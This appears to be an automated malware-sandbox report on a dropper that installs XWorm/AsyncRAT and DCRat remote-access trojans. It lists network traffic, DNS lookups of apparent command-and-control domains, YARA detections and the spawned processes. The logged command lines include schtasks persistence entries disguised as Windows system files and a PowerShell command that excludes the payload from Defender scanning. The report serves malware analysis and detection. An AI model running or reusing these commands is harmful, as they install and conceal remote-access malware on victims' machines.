Aug 6, 2024 11:54:57.353154898 CEST	49722	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:57.358015060 CEST	10314	49722	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:57.368802071 CEST	49722	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:57.373625040 CEST	10314	49722	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:57.447009087 CEST	49722	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:54:57.451780081 CEST	10314	49722	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:57.957221031 CEST	10314	49722	147.185.221.17	192.168.2.9
Aug 6, 2024 11:54:57.957381964 CEST	49722	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:55:02.540446043 CEST	49722	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:55:02.545577049 CEST	10314	49722	147.185.221.17	192.168.2.9
Aug 6, 2024 11:55:02.545618057 CEST	49723	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:55:02.552265882 CEST	10314	49723	147.185.221.17	192.168.2.9
Aug 6, 2024 11:55:02.554382086 CEST	49723	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:55:02.697635889 CEST	49723	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:55:02.703696012 CEST	10314	49723	147.185.221.17	192.168.2.9
Aug 6, 2024 11:55:02.743771076 CEST	49723	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:55:02.749281883 CEST	10314	49723	147.185.221.17	192.168.2.9
Aug 6, 2024 11:55:02.759287119 CEST	49723	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:55:02.765109062 CEST	10314	49723	147.185.221.17	192.168.2.9
Aug 6, 2024 11:55:02.806643009 CEST	49723	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:55:02.811999083 CEST	10314	49723	147.185.221.17	192.168.2.9
Aug 6, 2024 11:55:09.886271000 CEST	49723	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:55:09.891169071 CEST	10314	49723	147.185.221.17	192.168.2.9
Aug 6, 2024 11:55:11.884634018 CEST	49723	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:55:11.891197920 CEST	10314	49723	147.185.221.17	192.168.2.9
Aug 6, 2024 11:55:12.884433985 CEST	49723	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:55:12.889547110 CEST	10314	49723	147.185.221.17	192.168.2.9
Aug 6, 2024 11:55:12.915648937 CEST	49723	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:55:12.922849894 CEST	10314	49723	147.185.221.17	192.168.2.9
Aug 6, 2024 11:55:23.925520897 CEST	10314	49723	147.185.221.17	192.168.2.9
Aug 6, 2024 11:55:23.926397085 CEST	49723	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:55:28.182284117 CEST	49723	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:55:28.186286926 CEST	49724	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:55:28.187163115 CEST	10314	49723	147.185.221.17	192.168.2.9
Aug 6, 2024 11:55:28.191294909 CEST	10314	49724	147.185.221.17	192.168.2.9
Aug 6, 2024 11:55:28.191481113 CEST	49724	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:55:28.330308914 CEST	49724	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:55:28.335269928 CEST	10314	49724	147.185.221.17	192.168.2.9
Aug 6, 2024 11:55:28.837698936 CEST	49724	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:55:29.001611948 CEST	10314	49724	147.185.221.17	192.168.2.9
Aug 6, 2024 11:55:32.790692091 CEST	49724	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:55:32.795619965 CEST	10314	49724	147.185.221.17	192.168.2.9
Aug 6, 2024 11:55:33.790800095 CEST	49724	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:55:33.795583963 CEST	10314	49724	147.185.221.17	192.168.2.9
Aug 6, 2024 11:55:34.806401968 CEST	49724	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:55:34.811228037 CEST	10314	49724	147.185.221.17	192.168.2.9
Aug 6, 2024 11:55:37.915734053 CEST	49724	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:55:37.920970917 CEST	10314	49724	147.185.221.17	192.168.2.9
Aug 6, 2024 11:55:38.606292009 CEST	49724	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:55:38.611205101 CEST	10314	49724	147.185.221.17	192.168.2.9
Aug 6, 2024 11:55:39.337712049 CEST	49724	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:55:39.342665911 CEST	10314	49724	147.185.221.17	192.168.2.9
Aug 6, 2024 11:55:48.900424957 CEST	49724	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:55:48.905422926 CEST	10314	49724	147.185.221.17	192.168.2.9
Aug 6, 2024 11:55:48.931473970 CEST	49724	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:55:48.936513901 CEST	10314	49724	147.185.221.17	192.168.2.9
Aug 6, 2024 11:55:48.947096109 CEST	49724	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:55:48.951898098 CEST	10314	49724	147.185.221.17	192.168.2.9
Aug 6, 2024 11:55:48.993905067 CEST	49724	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:55:48.998809099 CEST	10314	49724	147.185.221.17	192.168.2.9
Aug 6, 2024 11:55:49.150172949 CEST	49724	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:55:49.155101061 CEST	10314	49724	147.185.221.17	192.168.2.9
Aug 6, 2024 11:55:49.584239960 CEST	10314	49724	147.185.221.17	192.168.2.9
Aug 6, 2024 11:55:49.584310055 CEST	49724	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:55:54.181399107 CEST	49724	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:55:54.185331106 CEST	49725	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:55:54.186306953 CEST	10314	49724	147.185.221.17	192.168.2.9
Aug 6, 2024 11:55:54.190186024 CEST	10314	49725	147.185.221.17	192.168.2.9
Aug 6, 2024 11:55:54.194448948 CEST	49725	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:55:54.281335115 CEST	49725	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:55:54.286452055 CEST	10314	49725	147.185.221.17	192.168.2.9
Aug 6, 2024 11:55:54.293327093 CEST	49725	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:55:54.298242092 CEST	10314	49725	147.185.221.17	192.168.2.9
Aug 6, 2024 11:55:55.322115898 CEST	49725	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:55:55.327289104 CEST	10314	49725	147.185.221.17	192.168.2.9
Aug 6, 2024 11:56:02.291069031 CEST	49725	10314	192.168.2.9	147.185.221.17
Aug 6, 2024 11:56:02.296155930 CEST	10314	49725	147.185.221.17	192.168.2.9

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 6, 2024 11:52:14.402239084 CEST	59627	53	192.168.2.9	1.1.1.1
Aug 6, 2024 11:52:14.451356888 CEST	53	59627	1.1.1.1	192.168.2.9
Aug 6, 2024 11:52:15.159441948 CEST	61254	53	192.168.2.9	1.1.1.1
Aug 6, 2024 11:52:15.199506998 CEST	53	61254	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 6, 2024 11:52:14.402239084 CEST	192.168.2.9	1.1.1.1	0x840a	Standard query (0)	a1013249.xsph.ru	A (IP address)	IN (0x0001)	false
Aug 6, 2024 11:52:15.159441948 CEST	192.168.2.9	1.1.1.1	0x9f9a	Standard query (0)	light-liable.gl.at.ply.gg	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Aug 6, 2024 11:51:49.928139925 CEST	1.1.1.1	192.168.2.9	0xbecc	No error (0)	bg.microsoft.map.fastly.net	199.232.214.172	A (IP address)	IN (0x0001)	false
Aug 6, 2024 11:51:49.928139925 CEST	1.1.1.1	192.168.2.9	0xbecc	No error (0)	bg.microsoft.map.fastly.net	199.232.210.172	A (IP address)	IN (0x0001)	false
Aug 6, 2024 11:52:14.451356888 CEST	1.1.1.1	192.168.2.9	0x840a	No error (0)	a1013249.xsph.ru	141.8.192.26	A (IP address)	IN (0x0001)	false
Aug 6, 2024 11:52:15.199506998 CEST	1.1.1.1	192.168.2.9	0x9f9a	No error (0)	light-liable.gl.at.ply.gg	147.185.221.17	A (IP address)	IN (0x0001)	false

Target ID:	0
Start time:	05:51:53
Start date:	06/08/2024
Path:	C:\Users\user\Desktop\cougif6lqM.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\cougif6lqM.exe"
Imagebase:	0xd70000
File size:	1'265'664 bytes
MD5 hash:	2BBC8212C548DCB848224A882B32492A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	05:51:56
Start date:	06/08/2024
Path:	C:\Users\user\AppData\Local\Temp\javaclient.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\javaclient.exe"
Imagebase:	0xec0000
File size:	151'040 bytes
MD5 hash:	2F969595E0DD360ECD52126BF5ECE5E5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000002.00000000.1327658991.0000000000EC2000.00000002.00000001.01000000.00000006.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000002.00000000.1327658991.0000000000EC2000.00000002.00000001.01000000.00000006.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Local\Temp\javaclient.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\javaclient.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 92%, ReversingLabs Detection: 68%, Virustotal, Browse
Reputation:	low
Has exited:	false

Target ID:	3
Start time:	05:51:56
Start date:	06/08/2024
Path:	C:\Users\user\AppData\Local\Temp\DCRatBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\DCRatBuild.exe"
Imagebase:	0xf00000
File size:	1'588'999 bytes
MD5 hash:	81A0B6CE5163BE692566FFA70F8E9839
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 70%, ReversingLabs Detection: 59%, Virustotal, Browse
Reputation:	low
Has exited:	true

Target ID:	4
Start time:	05:51:56
Start date:	06/08/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Componenthost\aZjsojBpBtPKe.vbe"
Imagebase:	0xd30000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	5
Start time:	05:51:57
Start date:	06/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Componenthost\N1me8mpFe7zJQMouCBhkn06ZkahUl.bat" "
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	6
Start time:	05:51:57
Start date:	06/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	7
Start time:	05:51:57
Start date:	06/08/2024
Path:	C:\Componenthost\providerreviewdhcp.exe
Wow64 process (32bit):	false
Commandline:	"C:\Componenthost\providerreviewdhcp.exe"
Imagebase:	0x850000
File size:	1'271'808 bytes
MD5 hash:	8F04E3EE4A119F4B39412E27CED12DE8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000007.00000002.1383062846.0000000002EDE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000007.00000002.1383062846.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000007.00000002.1384672432.0000000012BEF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 88%, ReversingLabs Detection: 68%, Virustotal, Browse
Reputation:	low
Has exited:	true

Target ID:	20
Start time:	05:51:59
Start date:	06/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "hvxmowIikyCfRrhhAMpWFavmEnuKtLh" /sc MINUTE /mo 11 /tr "'C:\Componenthost\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe'" /rl HIGHEST /f
Imagebase:	0x7ff707480000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	21
Start time:	05:51:59
Start date:	06/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "Memory CompressionM" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\windows defender\en-GB\Memory Compression.exe'" /f
Imagebase:	0x7ff707480000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	22
Start time:	05:51:59
Start date:	06/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "Memory Compression" /sc ONLOGON /tr "'C:\Program Files (x86)\windows defender\en-GB\Memory Compression.exe'" /rl HIGHEST /f
Imagebase:	0x7ff707480000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	23
Start time:	05:51:59
Start date:	06/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\javaclient.exe'
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	24
Start time:	05:51:59
Start date:	06/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "Memory CompressionM" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\windows defender\en-GB\Memory Compression.exe'" /rl HIGHEST /f
Imagebase:	0x7ff707480000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	25
Start time:	05:51:59
Start date:	06/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	26
Start time:	05:51:59
Start date:	06/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 9 /tr "'C:\Program Files\Windows Mail\WmiPrvSE.exe'" /f
Imagebase:	0x7ff70f010000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	27
Start time:	05:51:59
Start date:	06/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Program Files\Windows Mail\WmiPrvSE.exe'" /rl HIGHEST /f
Imagebase:	0x7ff707480000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	28
Start time:	05:52:00
Start date:	06/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 5 /tr "'C:\Program Files\Windows Mail\WmiPrvSE.exe'" /rl HIGHEST /f
Imagebase:	0x7ff707480000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	29
Start time:	05:52:00
Start date:	06/08/2024
Path:	C:\Users\user\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\cmd.exe
Imagebase:	0x100000
File size:	1'271'808 bytes
MD5 hash:	8F04E3EE4A119F4B39412E27CED12DE8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000001D.00000002.1505051021.0000000002481000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 88%, ReversingLabs Detection: 68%, Virustotal, Browse
Has exited:	true

Target ID:	30
Start time:	05:52:00
Start date:	06/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "hvxmowIikyCfRrhhAMpWFavmEnuKtLh" /sc MINUTE /mo 8 /tr "'C:\Users\Default\PrintHood\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe'" /f
Imagebase:	0x7ff707480000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	31
Start time:	05:52:00
Start date:	06/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "hvxmowIikyCfRrhhAMpWFavmEnuKtL" /sc ONLOGON /tr "'C:\Users\Default\PrintHood\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe'" /rl HIGHEST /f
Imagebase:	0x7ff707480000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	32
Start time:	05:52:00
Start date:	06/08/2024
Path:	C:\Users\user\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\cmd.exe
Imagebase:	0xd60000
File size:	1'271'808 bytes
MD5 hash:	8F04E3EE4A119F4B39412E27CED12DE8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000020.00000002.1513885055.0000000003111000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000020.00000002.1513885055.000000000312D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Analysis Process: schtasks.exePID: 7452, Parent PID: 5904

General

Target ID:	33
Start time:	05:52:00
Start date:	06/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "hvxmowIikyCfRrhhAMpWFavmEnuKtLh" /sc MINUTE /mo 8 /tr "'C:\Users\Default\PrintHood\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe'" /rl HIGHEST /f
Imagebase:	0x7ff707480000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	36
Start time:	05:52:00
Start date:	06/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 14 /tr "'C:\Program Files\Windows Security\BrowserCore\en-US\csrss.exe'" /f
Imagebase:	0x7ff707480000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	37
Start time:	05:52:00
Start date:	06/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Program Files\Windows Security\BrowserCore\en-US\csrss.exe'" /rl HIGHEST /f
Imagebase:	0x7ff707480000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	38
Start time:	05:52:00
Start date:	06/08/2024
Path:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\Default\PrintHood\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe
Imagebase:	0x840000
File size:	1'271'808 bytes
MD5 hash:	8F04E3EE4A119F4B39412E27CED12DE8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000026.00000002.1482114467.0000000002BF1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 88%, ReversingLabs Detection: 68%, Virustotal, Browse
Has exited:	true

Target ID:	39
Start time:	05:52:00
Start date:	06/08/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 5 /tr "'C:\Program Files\Windows Security\BrowserCore\en-US\csrss.exe'" /rl HIGHEST /f
Imagebase:	0x7ff707480000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	40
Start time:	05:52:00
Start date:	06/08/2024
Path:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\Default\PrintHood\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe
Imagebase:	0xa50000
File size:	1'271'808 bytes
MD5 hash:	8F04E3EE4A119F4B39412E27CED12DE8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000028.00000002.1513471393.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000028.00000002.1513471393.0000000002DCF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Target ID:	41
Start time:	05:52:00
Start date:	06/08/2024
Path:	C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\windows defender\en-GB\Memory Compression.exe"
Imagebase:	0x3f0000
File size:	1'271'808 bytes
MD5 hash:	8F04E3EE4A119F4B39412E27CED12DE8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000029.00000002.1518454359.0000000002771000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 88%, ReversingLabs Detection: 68%, Virustotal, Browse
Has exited:	true

Target ID:	42
Start time:	05:52:01
Start date:	06/08/2024
Path:	C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\windows defender\en-GB\Memory Compression.exe"
Imagebase:	0xf00000
File size:	1'271'808 bytes
MD5 hash:	8F04E3EE4A119F4B39412E27CED12DE8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000002A.00000002.1517396761.0000000003371000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Target ID:	43
Start time:	05:52:01
Start date:	06/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\8o9UezPTg6.bat"
Imagebase:	0x7ff660590000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	45
Start time:	05:52:01
Start date:	06/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true